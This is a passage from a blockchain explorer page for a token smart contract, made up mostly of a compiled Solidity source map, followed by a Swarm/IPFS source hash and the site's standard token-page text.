;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16365:4;16370:1;16365:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;16365:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;16440:15:::1;::::0;16408:62:::1;::::0;16425:4:::1;::::0;16440:15:::1;16458:11:::0;16408:8:::1;:62::i;:::-;16481:15;::::0;:196:::1;::::0;-1:-1:-1;;;16481:196:0;;-1:-1:-1;;;;;16481:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;16562:11;;16481:15:::1;::::0;16604:4;;16631::::1;::::0;16651:15:::1;::::0;16481:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5560:7:0;:15;;-1:-1:-1;;5560:15:0;;;-1:-1:-1;;;;16211:474:0:o;1129:136::-;1187:7;1214:43;1218:1;1221;1214:43;;;;;;;;;;;;;;;;;:3;:43::i;17341:264::-;17393:20;17425:11;;17416:6;:20;;;;:::i;:::-;17393:43;-1:-1:-1;17447:26:0;17476:21;17393:43;17476:6;:21;:::i;:::-;17508:10;;:33;;17447:50;;-1:-1:-1;;;;;;17508:10:0;;:33;;;;;17528:12;;17508:10;:33;:10;:33;17528:12;17508:10;:33;;;;;;;;;;;;;;;;;;;;-1:-1:-1;17552:16:0;;:45;;-1:-1:-1;;;;;17552:16:0;;;;:45;;;;;17578:18;;17552:16;:45;:16;:45;17578:18;17552:16;:45;;;;;;;;;;;;;;;;;;;;;17382:223;;17341:264;:::o;9990:112::-;10054:7;10081:13;10090:4;10081:6;:13;:::i;14870:349::-;15034:6;15029:51;;15057:11;:9;:11::i;:::-;15090:47;15111:6;15119:9;15130:6;15090:20;:47::i;:::-;15153:6;15148:64;;15188:12;16751:16;;16734:14;:33;16795:16;;16778:14;:33;16693:126;16039:164;16081:7;16102:15;16119;16138:19;:17;:19::i;:::-;16101:56;;-1:-1:-1;16101:56:0;-1:-1:-1;16175:20:0;16101:56;;16175:11;:20::i;:::-;16168:27;;;;16039:164;:::o;570:132::-;628:7;655:39;659:1;662;655:39;;;;;;;;;;;;;;;;;:3;:39::i;16831:248::-;16875:14;;:19;:42;;;;-1:-1:-1;16898:14:0;;:19;16875:42;16871:55;;;16831:248::o;16871:55::-;16955:14;;;16936:16;:33;16999:14;;;16980:16;:33;-1:-1:-1;17024:18:0;;;;17053;16831:248::o;14160:702::-;14310:15;14340:23;14378:12;14405:23;14443:12;14470:13;14497:19;14508:7;14497:10;:19::i;:::-;14295:221;;;;;;;;;;;;14522:32;14536:6;14544:9;14522:13;:32::i;:::-;14518:79;;;14556:41;14579:6;14587:9;14556:22;:41::i;:::-;-1:-1:-1;;;;;14626:15:0;;;;;;:7;:15;;;;;;:28;;14646:7;14626:19;:28::i;:::-;-1:-1:-1;;;;;14608:15:0;;;;;;;:7;:15;;;;;;:46;;;;14686:18;;;;;;;:39;;14709:15;14686:22;:39::i;:::-;-1:-1:-1;;;;;14665:18:0;;;;;;:7;:18;;;;;:60;14736:18;14748:5;14736:11;:18::i;:::-;14765:29;14783:4;14789;14765:17;:29::i;:::-;14827:9;-1:-1:-1;;;;;14810:44:0;14819:6;-1:-1:-1;;;;;14810:44:0;;14838:15;14810:44;;;;1819:25:1;;1807:2;1792:18;;1673:177;14810:44:0;;;;;;;;14284:578;;;;;;14160:702;;;:::o;9725:257::-;9859:7;;9776;;;;4275:11;;9891:20;9859:7;4275:11;9891;:20::i;:::-;9881:7;:30;9877:61;;;-1:-1:-1;;9921:7:0;;;4275:11;;-1:-1:-1;9725:257:0;-1:-1:-1;9725:257:0:o;9877:61::-;9957:7;9966;;-1:-1:-1;9725:257:0;-1:-1:-1;9725:257:0:o;339:223::-;459:7;494:12;487:5;479:28;;;;-1:-1:-1;;;479:28:0;;;;;;;;:::i;:::-;-1:-1:-1;518:9:0;530:5;534:1;530;:5;:::i;15227:627::-;15327:7;15349;15371;15393;15415;15437;15473:23;15498:12;15512:13;15542:52;15554:7;15563:14;;15579;;15542:11;:52::i;:::-;15472:122;;;;;;15605:19;15627:10;:8;:10::i;:::-;15605:32;;15649:15;15666:23;15691:12;15720:46;15732:7;15741:4;15747:5;15754:11;15720;:46::i;:::-;15648:118;;-1:-1:-1;15648:118:0;-1:-1:-1;15648:118:0;-1:-1:-1;15817:15:0;;-1:-1:-1;15834:4:0;;-1:-1:-1;15840:5:0;;-1:-1:-1;;;;;15227:627:0;;;;;;;:::o;15862:169::-;15980:13;;15943:4;;-1:-1:-1;;;;;15967:26:0;;;15980:13;;15967:26;:56;;;;-1:-1:-1;16007:16:0;;-1:-1:-1;;;;;15997:26:0;;;16007:16;;15997:26;15960:63;;15862:169;;;;:::o;6862:222::-;-1:-1:-1;;;;;6952:22:0;;;;;;;:11;:22;;;;;;;;:30;;;;;;;;;;-1:-1:-1;;;6948:129:0;;;7019:46;7028:9;7039:6;-1:-1:-1;;7019:8:0;:46::i;:::-;6862:222;;:::o;710:179::-;768:7;;800:5;804:1;800;:5;:::i;:::-;788:17;;829:1;824;:6;;816:46;;;;-1:-1:-1;;;816:46:0;;12319:2:1;816:46:0;;;12301:21:1;12358:2;12338:18;;;12331:30;12397:29;12377:18;;;12370:57;12444:18;;816:46:0;12117:351:1;10406:213:0;10461:19;10483:10;:8;:10::i;:::-;10461:32;-1:-1:-1;10504:13:0;10520:22;:5;10461:32;10520:9;:22::i;:::-;10594:4;10578:22;;;;:7;:22;;;;;;10504:38;;-1:-1:-1;10578:33:0;;10504:38;10578:26;:33::i;:::-;10569:4;10553:22;;;;:7;:22;;;;;:58;-1:-1:-1;;;10406:213:0:o;10114:163::-;10198:7;;:17;;10210:4;10198:11;:17::i;:::-;10188:7;:27;10244:15;;:25;;10264:4;10244:19;:25::i;:::-;10226:15;:43;-1:-1:-1;;10114:163:0:o;13143:467::-;13311:7;;;;13405:29;13430:3;13405:20;:7;13417;13405:11;:20::i;:::-;:24;;:29::i;:::-;13390:44;-1:-1:-1;13445:13:0;13461:28;13485:3;13461:19;:7;13473:6;13461:11;:19::i;:28::-;13445:44;-1:-1:-1;13500:23:0;13526:28;13445:44;13526:17;:7;13538:4;13526:11;:17::i;:::-;:21;;:28::i;:::-;13500:54;13590:4;;-1:-1:-1;13596:5:0;;-1:-1:-1;13143:467:0;;-1:-1:-1;;;;;13143:467:0:o;13618:534::-;13812:7;;;;13909:24;:7;13921:11;13909;:24::i;:::-;13891:42;-1:-1:-1;13944:12:0;13959:21;:4;13968:11;13959:8;:21::i;:::-;13944:36;-1:-1:-1;13991:13:0;14007:22;:5;14017:11;14007:9;:22::i;:::-;13991:38;-1:-1:-1;14040:23:0;14066:28;13991:38;14066:17;:7;14078:4;14066:11;:17::i;:28::-;14113:7;;;;-1:-1:-1;14139:4:0;;-1:-1:-1;13618:534:0;;-1:-1:-1;;;;;;;13618:534:0:o;85:246::-;143:7;167:1;172;167:6;163:47;;-1:-1:-1;197:1:0;190:8;;163:47;220:9;232:5;236:1;232;:5;:::i;:::-;220:17;-1:-1:-1;265:1:0;256:5;260:1;220:17;256:5;:::i;:::-;:10;248:56;;;;-1:-1:-1;;;248:56:0;;12848:2:1;248:56:0;;;12830:21:1;12887:2;12867:18;;;12860:30;12926:34;12906:18;;;12899:62;-1:-1:-1;;;12977:18:1;;;12970:31;13018:19;;248:56:0;12646:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1855:456::-;1932:6;1940;1948;2001:2;1989:9;1980:7;1976:23;1972:32;1969:52;;;2017:1;2014;2007:12;1969:52;2056:9;2043:23;2075:31;2100:5;2075:31;:::i;:::-;2125:5;-1:-1:-1;2182:2:1;2167:18;;2154:32;2195:33;2154:32;2195:33;:::i;:::-;1855:456;;2247:7;;-1:-1:-1;;;2301:2:1;2286:18;;;;2273:32;;1855:456::o;2713:247::-;2772:6;2825:2;2813:9;2804:7;2800:23;2796:32;2793:52;;;2841:1;2838;2831:12;2793:52;2880:9;2867:23;2899:31;2924:5;2899:31;:::i;2965:388::-;3033:6;3041;3094:2;3082:9;3073:7;3069:23;3065:32;3062:52;;;3110:1;3107;3100:12;3062:52;3149:9;3136:23;3168:31;3193:5;3168:31;:::i;:::-;3218:5;-1:-1:-1;3275:2:1;3260:18;;3247:32;3288:33;3247:32;3288:33;:::i;:::-;3340:7;3330:17;;;2965:388;;;;;:::o;3358:180::-;3417:6;3470:2;3458:9;3449:7;3445:23;3441:32;3438:52;;;3486:1;3483;3476:12;3438:52;-1:-1:-1;3509:23:1;;3358:180;-1:-1:-1;3358:180:1:o;3543:356::-;3745:2;3727:21;;;3764:18;;;3757:30;3823:34;3818:2;3803:18;;3796:62;3890:2;3875:18;;3543:356::o;4575:251::-;4645:6;4698:2;4686:9;4677:7;4673:23;4669:32;4666:52;;;4714:1;4711;4704:12;4666:52;4746:9;4740:16;4765:31;4790:5;4765:31;:::i;5752:306::-;5840:6;5848;5856;5909:2;5897:9;5888:7;5884:23;5880:32;5877:52;;;5925:1;5922;5915:12;5877:52;5954:9;5948:16;5938:26;;6004:2;5993:9;5989:18;5983:25;5973:35;;6048:2;6037:9;6033:18;6027:25;6017:35;;5752:306;;;;;:::o;9483:127::-;9544:10;9539:3;9535:20;9532:1;9525:31;9575:4;9572:1;9565:15;9599:4;9596:1;9589:15;9615:125;9680:9;;;9701:10;;;9698:36;;;9714:18;;:::i;10102:128::-;10169:9;;;10190:11;;;10187:37;;;10204:18;;:::i;10778:127::-;10839:10;10834:3;10830:20;10827:1;10820:31;10870:4;10867:1;10860:15;10894:4;10891:1;10884:15;10910:980;11172:4;11220:3;11209:9;11205:19;11251:6;11240:9;11233:25;11277:2;11315:6;11310:2;11299:9;11295:18;11288:34;11358:3;11353:2;11342:9;11338:18;11331:31;11382:6;11417;11411:13;11448:6;11440;11433:22;11486:3;11475:9;11471:19;11464:26;;11525:2;11517:6;11513:15;11499:29;;11546:1;11556:195;11570:6;11567:1;11564:13;11556:195;;;11635:13;;-1:-1:-1;;;;;11631:39:1;11619:52;;11726:15;;;;11691:12;;;;11667:1;11585:9;11556:195;;;-1:-1:-1;;;;;;;11807:32:1;;;;11802:2;11787:18;;11780:60;-1:-1:-1;;;11871:3:1;11856:19;11849:35;11768:3;10910:980;-1:-1:-1;;;10910:980:1:o;11895:217::-;11935:1;11961;11951:132;;12005:10;12000:3;11996:20;11993:1;11986:31;12040:4;12037:1;12030:15;12068:4;12065:1;12058:15;11951:132;-1:-1:-1;12097:9:1;;11895:217::o;12473:168::-;12546:9;;;12577;;12594:15;;;12588:22;;12574:37;12564:71;;12615:18;;:::i

Swarm Source

ipfs://1bea02e7d1d4ea1cea2bb07a2d253a687bbe926ca8a0610f1f994d0056a1337b
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.